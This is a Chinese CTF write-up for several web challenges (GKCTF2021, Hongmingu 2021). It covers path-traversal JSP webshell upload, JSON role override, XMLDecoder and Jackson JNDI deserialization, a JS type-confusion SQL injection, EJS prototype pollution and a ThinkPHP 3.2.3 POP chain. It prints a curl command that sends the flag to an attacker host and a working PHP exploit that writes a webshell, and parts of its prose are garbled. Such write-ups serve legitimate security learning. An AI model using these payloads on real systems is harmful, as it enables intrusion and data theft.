最近CTF网络题解
本文的部分被拦截,因此以截图方式呈现,请欣赏代码
GKCTF2021 babtcat
这道题发现register接口被Not allowed这里直接抓包注册发现存在任意文件下载,结合目录穿越先把源码获得,进行审计。
这里需要是upload针对管理员开放的:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.web.servlet;
import com.web.dao.Person;
import com.web.util.tools;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
@MultipartConfig
public class uploadServlet extends HttpServlet {
public uploadServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String admin = "admin";
Person user = (Person)req.getSession().getAttribute("user");
System.out.println(user.getRole());
if (!admin.equals(user.getRole())) {
req.setAttribute("error", "<script>alert('admin only');history.back(-1)</script>");
req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
} else {
List<String> fileNames = new ArrayList();
tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"), fileNames);
req.setAttribute("files", fileNames);
System.out.println(fileNames);
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (!ServletFileUpload.isMultipartContent(req)) {
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
}
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(3145728);
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setFileSizeMax(41943040L);
upload.setSizeMax(52428800L);
String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/";
try {
List<FileItem> formItems = upload.parseRequest(req);
if (formItems != null && formItems.size() > 0) {
Iterator var7 = formItems.iterator();
label34:
while(true) {
FileItem item;
do {
if (!var7.hasNext()) {
break label34;
}
item = (FileItem)var7.next();
} while(item.isFormField());
String fileName = item.getName();
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
}
}
} catch (Exception var14) {
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
}
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
private static boolean checkExt(String ext) {
boolean flag = false;
String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
flag = true;
}
return flag;
}
private static boolean checkContent(InputStream item) throws IOException {
boolean flag = false;
InputStreamReader input = new InputStreamReader(item);
BufferedReader bf = new BufferedReader(input);
String line = null;
StringBuilder sb = new StringBuilder();
while((line = bf.readLine()) != null) {
sb.append(line);
}
String content = sb.toString();
String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};
for(int i = 0; i < blackList.length; ++i) {
if (content.contains(blackList[i])) {
flag = true;
}
}
return flag;
}
}
这里可以看到当以admin用户登录后可以调用上传的功能,还可以通过一定的限制,这里贴一下关键的上传逻辑:
String fileName = item.getName();
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
得到上传文件的后缀以及,并且该后缀以及上传文件的内容还需要具体的方法checkExt和checkContent检验:
private static boolean checkExt(String ext) {
boolean flag = false;
String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
flag = true;
}
return flag;
}
private static boolean checkContent(InputStream item) throws IOException {
boolean flag = false;
InputStreamReader input = new InputStreamReader(item);
BufferedReader bf = new BufferedReader(input);
String line = null;
StringBuilder sb = new StringBuilder();
while((line = bf.readLine()) != null) {
sb.append(line);
}
String content = sb.toString();
String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};
for(int i = 0; i < blackList.length; ++i) {
if (content.contains(blackList[i])) {
flag = true;
}
}
return flag;
}
地方对上传文件的限制是非常严格的,可以利用这个重大的问题但是:注意
如果判断中将响应进行后并没有执行return操作,则表示代码会继续执行下去,为了将文件进行上传,实际上那两个检测方法都是假的,并没有可能因此最终的作用,因此可以构造文件进行上传。
并且在此处实际上上传了自己的能力,我们注意到:
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
String filePath = uploadPath + File.separator + name + ext;
此处存在路径穿越,当我们上传的文件例如为../../../../../../../etc/test.jsp则ext=jsp且name=../../../../../../../etc/test.最终会上传到/等目录下,因此实际上传路径是我们可控的,因此我们需要选择一个成功解析jsp的目录上传jsp马智能。
如何以admin身份进行绕过呢?我们可以注意到:
这里使用正则进行简单匹配,而在json中存在的参数会覆盖前面相同的参数因此,我们可以构造有效载荷:
data={"username":"crispr","password":"123","role":"guest","role"/**/:"admin"}
利用注释符来绕过正则匹配或者这样构造:
data={"username":"crispr1","password":"123","role":"admin"/*,"role":"guest"*/}
成功以管理员身份登录后我们上传了一个jsp webshell,这里可以上传到静态目录下,因为该目录可以访问并且解析jsp。
连接执行/readflag得到flag
并且此题在上传的dopost中并没有鉴权,实际上以访客用户登录后也可以同样通过post访问该接口实现文件上传
GKCTF2021 babtcat-revenge
出题人汽车上述问题后设置了报复,看下修改后代码 贴出关键对比代码:
String fileName = item.getName();
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
if (!checkExt(ext) && !checkContent(item.getInputStream())) {
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
}else {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
只有这里通过checkExt状语从句:checkContent方法才能进行文件的上传,但是在之前也说明过,此处想要绕过分机和文件内容进行getshell是比较困难的,在baseDao.class中看到了XMLDecoder:
该方法会在getConnection中被调用,而getConnection方法会在注册和登录时被调用。
因此这里存在XML反序列化,而XMLdecoder的内容是/db/db.xml,需要通过升级接口db.xml文件进行覆盖,提示说PrintWriter,网上找到一个payload(使用变形jsp马绕过) ):
通过得到/proc/self/environ当前根目录,文件上传到/db/db.xml中:
最后重登录getConnection方法后访问cmd马档案:
GKCTF 2021]easynode
nodejs题,给了源码,先对源码进行审计,可以先登录后台:
let safeQuery = async (username,password)=>{
const waf = (str)=>{
blacklist = ['\','^',')','(','"',''']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
但是在此地的过滤虽然说不严谨,但是却能通过恒等式产生这个进入这个地方的符号都了,在并不好实现注入的地方,地方卡了比较久的时间,实际上就是利用了js的可以尝试,我们知道js的类型转换是非常弱的,如果safeStr()方法的参数中是一个数组,因为该方法可以给出参数是字符串并且对字符串进行逐字节匹配,然后替换为*号为数组后,则数组第一个元素为字符串,字符串==*当然不会成立,因此,可以成功绕过,但请注意:
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
因为只有这样才能使用substr函数,而数组并没有该函数应该可以,如果仅以一系列的使用错误认识我们:
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
//console.log(str.length);
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
该在函数中求最后会有状语从句:字符*号拼接后报道查看,而在JavaScript的中会有隐式的类型转换,当发生拼接后会自动转换为字符串类型从而能够调用substr,因此if的条件必须要满足,也就是在一些被过滤的元素存在,最好该元素在比较靠后的位置,这样i也会比较大不会影响第一个元素,当我们如下构造:此时SQL查询变成:
select * from test where username='admin'#xxxx
这是一个真句子因此登录成功
宝宝是一个原型链的考点,继续审计代码发现存在的adminDIV导航,这里贴下该路径的源码:
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql =`select board from board where username = "${username}"`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));
board = JSON.parse(JSON.stringify(query[0].board));
for(var key in data){
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
extend({},JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
就是在DIV模块下回读取用户的用户名,之后将DIV的键名和值直接引导进入,这里使用extend进行合并实际上也是类似的合并方法,使用了JSON。解析,这样才能成为“ proto ”这样的可能不会直接被解析成原型,因此这里存在原链污染,考虑到这里了ejs库:
访问访问/admin时进行渲染,可以利用ejs的原链污染进行getshell:
原理可以参考:ejs原链污染
注意 反射回弹使用base64迎接,在url中需要将base中的
+
号变成%2b
构造exp:
这原链已经被污染了,当访问admin线路后调用ejs渲染时会:
完成后就可以得到外壳
红明谷CTF 2021]JavaWeb
发现是一个Spring的项目,并且有登录发发的原因,这里抓包改发过去发现是shiro的框架,shiro AES的秘密秘密爆破,无果,应该是主题的不是这个点,提示有提示/json,是shiro的框架可以使用/;/来进行绕过,因为因为/json登录后才能访问,但由于发现存在弱智admin admin888登录后会话需要进行访问也可在此。
使用的jackson进行转换,考虑jackson反序列化:
http://b1ue.cn/archives/189.html
一个由 logback 流行的 jndi 注入,可影响到 2.9.9.1
发现 vps 成功监听,下一个是一个比较简单的 JNDI 注入,可以使用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -d @/flag http://xx.xx.xx.xx:3333/" -A xx.xx.xx.xx
注意这里最好用JDK 1.8来运行,有可能收不到数据,运行完监听3333端口这里使用curl -d来外带根目录下的标。
红明谷CTF 2021]EasyTP
一个ThinkPHP的框架,www.zip下载完源码后发现是3.2.3的链子,已经有文章分析过3.2.3的反序列化链,并且这里存在反序列化:
链子不会了,最终效果是进行任意数据库连接,这时候可以有两种思路,第一个是一个激发灵感的配置后利用吸进来进行写壳到/var/www/html得到壳这里的mysql为root root弱智力,因此构造如下exp:
<?php
namespace ThinkDbDriver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //把堆叠开了
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace ThinkImageDriver{
use ThinkSessionDriverMemcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace ThinkSessionDriver{
use ThinkModel;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use ThinkDbDriverMysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=1;select '一句话webshell' into outfile '/var/www/html/crispr.php';#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new ThinkImageDriverImagick()));
}
发现将标志写入到数据库中,因此连接数据库得到标志:
还有一种想法是利用rogue-mysql-server连接到vps上的恶意服务器
项目在这:https://github.com/allyshka/Rogue-MySql-Server
其原理简单叙述,主要是恶意模拟MySQL服务端的身份,等待客户端的SQL,然后响应时间返回一个LOAD DATA请求,客户端即根据响应内容上传了本机的查询。
借用lightless师傅的描述,正常的请求流程为
客户端:嗨~我将把我的 data.csv 文件给你插入到测试表中!
服务端:好的,读取你本地的 data.csv 文件并导出我!
客户端:这是文件内容:balabala!
而恶意的流程为
客户端:嗨~我将把我的data.csv文件你给插入到测试表中
服务端:好的,可以读取你本地的/etc/passwd文件并读取我!
客户端:这是文件内容:balabala (/etc/passwd 文件的内容)!
所以,只需要客户端在连接服务端后发送一个请求,检测到客户端的本地文件,而可以看到 MySQL 客户端在创建连接后发送一个请求判断服务端的版本或其他信息,这个修改可能几乎可以影响所有的 MySQL 客户端。
这里使用的是 php 版本的 rogue-mysql,并且将exp中的配置成vps的地址,反序列化触发执行。
可以读取flag.sh:可以读取flag.sh:
本文始发于微信公众号(疯猫网络):GKCTF&红明谷部分网页题解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论